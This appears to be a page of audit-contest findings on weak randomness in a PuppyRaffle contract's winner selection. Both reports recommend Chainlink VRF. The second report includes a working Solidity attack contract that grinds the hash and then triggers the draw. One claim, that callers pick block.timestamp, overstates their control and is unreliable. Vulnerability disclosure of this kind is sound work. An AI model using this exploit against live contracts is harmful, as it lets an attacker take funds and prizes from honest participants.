PuppyRaffle.selectWinner() derives the winner from keccak256(msg.sender, block.timestamp, block.difficulty), all of which are known to the caller before the transaction is mined. There is no commit-reveal scheme, no Chainlink VRF, and no future-blockhash dependency, so the "randomness" is fully deterministic from the attacker's perspective. An attacker can therefore simulate the exact winner computation off-chain, wait for (or pick) a timestamp at which the formula selects their own player index, and only then trigger the draw — winning with certainty instead of by chance. The NFT rarity uses the same predictable inputs, so a legendary mint can be forced the same way.
msg.sender is the draw caller (anyone may call), block.timestamp is chosen by the caller within the valid window, and block.difficulty is public pre-merge chain state. Every input is attacker-known or attacker-influenced.
The raffle's fairness is completely broken: a sophisticated player never loses — they only pay for a draw they have already verified they will win, extracting the prize NFT (and potentially the legendary rarity) at will. Honest players' expected value collapses to zero whenever such an attacker participates.
Likelihood: High — the computation is trivially reproducible by anyone (a few lines of Solidity or an off-chain script), on every single draw, at negligible cost.
The following Foundry test proves the exploit end-to-end: 4 honest players plus the attacker enter; the attacker then scans forward timestamps for one where the on-chain formula yields their index, warps to it, triggers the draw, and is recorded as the winner.
Run: forge test --match-contract PredictableWinnerPoC -vvv → [PASS] test_AttackerChoosesWinningTimestamp() with log "attacker won at chosen timestamp".
Replace the naive hash with verifiable randomness. The standard fix is Chainlink VRF: request a random word when the raffle ends, and perform winner selection in the VRF callback, so no participant can predict or influence the outcome. Concretely:
This removes all three attacker-controlled inputs (msg.sender, block.timestamp, block.difficulty) from the draw. The same change must be applied to the rarity computation, which is predictable from msg.sender and block.difficulty alone. As defense-in-depth, the draw function should also be restricted so it cannot be called arbitrarily often (e.g., only once per raffle), limiting an attacker's ability to grind timestamps even against a weaker scheme.
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.